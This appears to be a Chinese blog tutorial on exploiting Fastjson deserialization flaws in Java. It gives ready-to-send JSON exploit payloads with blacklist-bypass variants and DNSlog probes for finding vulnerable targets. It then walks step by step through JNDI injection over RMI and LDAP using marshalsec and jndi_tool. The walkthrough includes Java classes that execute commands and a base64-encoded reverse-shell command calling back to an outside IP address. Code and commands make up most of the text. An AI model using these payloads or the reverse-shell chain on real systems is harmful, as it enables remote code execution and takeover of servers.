03.FastJson 漏洞
本文最后更新于520 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、Fastjson 简介

Fastjson 是阿里巴巴公司开源的一个高性能的 Java 库,专门用于处理 JSON 数据格式。它不仅能 够将 Java 对象序列化为 JSON 格式的字符串,还能将 JSON 字符串反序列化为 Java 对象。

二、历史漏洞

Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞

1.FastJson <= 1.2.24

Fastjson 版本 1.2.24 及之前的版本中存在一个特定的反序列化漏洞,该漏洞可以被利用来执行远 程代码。这个漏洞主要由于 Fastjson 在处理 JSON 对象时,自动匹配并调用 Java 对象的 法,如果 JSON 中包含了 Java 对象的 setter 方 setter 方法可以被调用的属性,攻击者可以利用这个特性来 触发恶意行为。
例如,攻击者可以构造一个包含特定类引用的 JSON 对象,该类具有可以执行系统命令的 setter 方 法。当 Fastjson 尝试反序列化这个 JSON 对象时,它将自动调用这些 setter 方法,从而可能执行攻 击者的代码。

Poc:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1389/Exploit", "autoCommit":true}

@type:目标反序列化类名;
dataSourceName:RMI注册中心绑定恶意服务;
autoCommit:在Fastjson JdbcRowSetImpl链中反序列化时,会去调用setAutoCommit方法。

2.FastJson <= 1.2.41

第一个 Fastjson 反序列化漏洞爆出后,阿里在1.2.25 版本设置了 autoTypeSupport 属性默认为false,并且增加了checkAutoType() 函数,通过黑白名单的方式来防御 Fastjson 反序列化漏 洞,因此后面发现的 Fastjson 反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。
com.sun.rowset.jdbcRowSetlmpl 在 1.2.25 版本被加入了黑名单,Fastjson有个判断条件判断类名是否以"L"开头、以";"结尾,是的话就提取出其中的类名在加载进来
那么就可以构造如下 EXP

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://ip:9999/Exploit", "autoCommit":true}

3.FastJson <= 1.2.42

阿里在发现这个绕过漏洞之后做出了类名如果为 L 开头 ; 结尾的时候就先去掉 L 和;进行黑名单检验 的方法,但是没有考虑到双写或多写的情况,也就是说这种方法只能防御一组 L 和 ;,构造exp如 下,即双写 L 和 ;

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://x.x.x.x:9999/exp", "autoCommit":true}

4.FastJson <= 1.2.47

在1.2.47版本及以下的情况下,loadClass 中默认 cache 为 true,首先使用 java.lang.Class 把获取到的类缓存到 mapping 中,然后直接从缓存中获取到了com.sun.rowset.jdbcRowSetlmpl 这 个类,即可绕过黑名单

{ "a": { "@type": "java.lang.Class",  "val": "com.sun.rowset.JdbcRowSetImpl" },  "b": { "@type": "com.sun.rowset.JdbcRowSetImpl",  "dataSourceName": "rmi://ip:9999/exp",  "autoCommit": true }}

5.FastJson <= 1.2.66

基于黑名单绕过, autoTypeSupport 属性为 true 才能使用,在 1.2.25版本之后autoTypeSupport 默认为 false

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}

三、漏洞发现

1.json认识

JSON 教程 | 菜鸟教程

json实例

{
    "sites": [
    { "name":"菜鸟教程" , "url":"www.runoob.com" }, 
    { "name":"google" , "url":"www.google.com" }, 
    { "name":"微博" , "url":"www.weibo.com" }
    ]
}

2.FastJson 寻找

Fastjson 的作用是用于对 JSON 格式的数据进行解析和打包,所以出现JSON格式的地方,就有可能使用了 Fastjson

3.FastJson 报错识别

Pasted image 20250114173832.png

4.FastJson 漏洞探测

原理: java.net.InetAddress 这个类在实例化时会尝试对example.com进行域名解析,这时候可以通过 dnslog 的方式得知漏洞是否存在

1)在线的DNSlog平台

http://dnslog.cn/
Pasted image 20250114170617.png

https://www.callback.red/
Pasted image 20250116180633.png

2)自建的DNSlog平台

DNSLog: DNSLog 是一款监控 DNS 解析记录和 HTTP 访问记录的工具。

3)漏洞发现 Payload

{
    "@type":"java.net.Inet4Address",
    "val":"任意字符.qydzoe.dnslog.cn"
}

测试时发现有时在解析 JSON 前会判断类型是否匹配,匹配失败则在解析前抛出异常,因此更改 payload 为如下:

{
"name":{
    "@type":"java.net.InetAddress",
    "val":"任意字符.qydzoe.dnslog.cn"
    }
}

使用在线DNSlog网站

Pasted image 20250114174714.png

Pasted image 20250114174727.png

使用bp自带的DNSlog

Pasted image 20250114175229.png

Pasted image 20250114175212.png

4)其他payload

{
"name":{
    "@type":"Ljava.net.InetAddress;",
    "val":"任意字符.qydzoe.dnslog.cn"
    }
}
{
"name":{
    "@type":"LLjava.net.InetAddress;;",
    "val":"任意字符.qydzoe.dnslog.cn"
    }
}

四、FastJson-1.2.47 反序列化漏洞

1.漏洞概述

2.影响版本

Fastjson < 1.2.48

3.漏洞检测

原理: java.net.InetAddress 这个类在实例化时会尝试对example.com进行域名解析,这时候可以通过 dnslog 的方式得知漏洞是否存在

{
    "name":{
        "@type":"java.net.InetAddress",
        "val":"i1q73g.dnslog.cn"
    }
}

Pasted image 20250114182021.png

4.JNDI 注入 + RMI

JNDI
它是Java的一个应用程序编程接口,提供了命名和目录功能。就像电话簿一样,我们可以通过名字来查找对象。
可以访问以下命名/目录服务:

  • RMI (JAVA 远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

RMI
RMI 是 Java 远程方法调用,是 Java 编程语言里,一种用于实现远程过程调用的应用程序编程接口。 它使客户机上运行的程序可以调用远程服务器上的对象。

1)marshalsec

(1)借助 marshalsec 项目启动一个 RMI 服务器,监听一个端口,并指定加载远程类 Exploit.class

maven 打包项目成 jar 包:

mvn clean package -DskipTests
(2)编写恶意代码

注意:

  • Java 保存的文件名必须与类名一致;
  • 如果文件中只有一个类,文件名必须与类名一致;
  • 一个 Java 文件中只能有一个 public 类;
  • 如果文件中不止一个类,文件名必须与 public 类名一致;
  • 如果文件中不止一个类,而且没有 public 类,文件名可与任一类名一致。

Touch.java

// javac Touch.java
import java.lang.Runtime;
import java.lang.Process;

public class Touch {
    public Touch(){
        try{
            Runtime.getRuntime().exec("/bin/touch /tmp/mingy");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Touch e = new Touch();
    }
}
(3)编译恶意代码

在 jdk8 下编译:

javac Touch.java

在当前目录会生成一个 Touch.class 的字节码文件

(4)python 启动 http 服务,托管编译的恶意类文件

Pasted image 20250114214034.png

(5)启动 RMI 服务,加载指定恶意类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://120.79.150.243:8000/#Touch" 9999
(6)发送 EXP
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://120.79.150.243:9999/Touch",
        "autoCommit":true
    }
}
(7)漏洞利用反弹 shell

Exploit.java

//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMTUwLjI0My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

在 jdk8 下编译:

javac Exploit.java

在当前目录会生成一个 Exploit.class 的字节码文件

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://120.79.150.243:9999/Exploit",
        "autoCommit":true
    }
}
  1. 开启http服务
    Pasted image 20250114230118.png
  2. 记得改exp的名字
    Pasted image 20250114230142.png
  3. 开启监听
    Pasted image 20250114230158.png
(8)总结:
  • 编写字节马
  • 启动 http 服务,托管编译的恶意类文件
  • 开启RMI服务加载指定类
  • 发送exp请求给目标靶机,实现远程类加载

==其中访问文件地址,直接触发下载==,即jndi服务实现字节码下载

2)jndi_tool

可以不用单独启动marshalsec服务,可减少手动操作

(1)利用工具启动 RMI server
java -cp jndi_tool.jar jndi.HRMIServer 120.79.150.243 9999 "要执行的命令"
java -cp jndi_tool.jar jndi.HRMIServer 120.79.150.243 9999 "ping gxcm51.dnslog.cn"

注意: 如果是反弹shell的命令,需要将其进行编码,管道符、输入输出重定向,只有在 bash 环境下 才能用。而在这里,我们使用的是 java 为我们提供的命令执行环境,不支持管道符、输入输出重定 向等。因此需要 base64 编码一下。

java -cp jndi_tool.jar jndi.HRMIServer 120.79.150.243 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMTUwLjI0My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"
(2)复制生成的 payload
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://120.79.150.243:9999/Object","autoCommit":true}}
(3)发送到目标主机

Pasted image 20250115160356.png

Pasted image 20250115160409.png

(4)利用JNDI注入加载远程 RMI server 上的字节码实现反弹shell

Pasted image 20250115161325.png

Pasted image 20250115161348.png

Pasted image 20250115161404.png

5.JNDI 注入 + LDAP

LDAP 是基于 X.500 标准的轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

java -cp jndi_tool.jar jndi.HLDAPServer 120.79.150.243 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMTUwLjI0My83Nzc3IDA+JjE=
}|{base64,-d}|{bash,-i}"

6.利用脚本

1)jndi_marshalsec

  1. 启动脚本
python jndi_marshalsec.py

Pasted image 20250115163255.png

  1. 开启监听

  2. 发送payload

python fastjson_poc_send.py

Pasted image 20250115165206.png

  1. 获得shell
    Pasted image 20250115163519.png

2)FastJsonVulnExp

(1)生成反弹 shell 的 payload
python fastjson_tool.py

Pasted image 20250115170253.png

(2)监听端口
(3)发送payload
python fastjson_poc_send.py

Pasted image 20250115170507.png

(4)获取shell

Pasted image 20250115170812.png

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇